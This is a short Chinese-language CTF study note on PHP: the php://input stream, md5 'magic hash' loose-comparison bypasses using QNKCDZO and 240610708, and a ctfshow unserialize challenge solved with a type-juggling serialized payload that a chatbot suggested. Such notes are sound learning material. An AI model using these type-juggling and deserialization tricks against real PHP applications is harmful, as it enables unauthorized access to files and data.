PHP 相关笔记
PHP伪协议

php://input:可以访问请求的原始数据的只读流,在 POST 请求中访问 POST 的 data 部分,在 enctype="multipart/form-data" 的时候 php://input 是无效的。
md5算法
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){die("v1 error");}
if(!is_numeric($v2)){die("v2 error");}
if(md5($v1)==md5($v2)){echo $flag;}
}else{echo "where is flag?";}
?>
当一串字母和一个数字计算出的 md5 值不严格相等就可以得到 flag。利用 PHP 中0e开头的 md5 值会被解释为科学计数法(0 的任意次方均为 0)的特性,可以构造如下参数:
v1=QNKCDZO(纯字母,其 md5 值为0e830400451993494058024219903391)v2=240610708(纯数字,其 md5 值为0e462097431906509019562988736854)
这两个 md5 值都以0e开头且后面全是数字,因此md5($v1) == md5($v2)成立,从而输出$flag。
md5 + 反序列化
单身杯 CTF -签到·好玩的PHP
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow {
private $d = '';
private $s = '';
private $b = '';
private $ctf = '';
public function __destruct() {
$this->d = (string)$this->d;
$this->s = (string)$this->s;
$this->b = (string)$this->b;
if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
$dsb = $this->d.$this->s.$this->b;
if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
if (md5($dsb) === md5($this->ctf)) {
echo file_get_contents("/flag.txt");
}
}
}
}
}
}
unserialize($_GET["dsbctf"]);
题目大概是这样的,传入d s b ctf 四个参数,d s b 互不相等,三个参数连接起来的 md5 值要与 ctf 碰撞,长度还都不能超过3。原本想着用 md5 fastcoll 之类的工具构造出一个来,但生成出的文本都好长,问 Deepseek 之后得知 3 个字符以内很难碰撞。又试了一下 0e1 和 0e2,也不行。
Deepseek给了一个思路,因为代码中的判断是严格不相等,所以 ctf 传入数字 123,dsb 传入字符串 123,这一题就破了。
class ctfshow {
private $d = '1';
private $s = '2';
private $b = '3';
private $ctf = 123;
}
$a = new ctfshow();
echo urlencode(serialize($a));
意料之外,情理之中。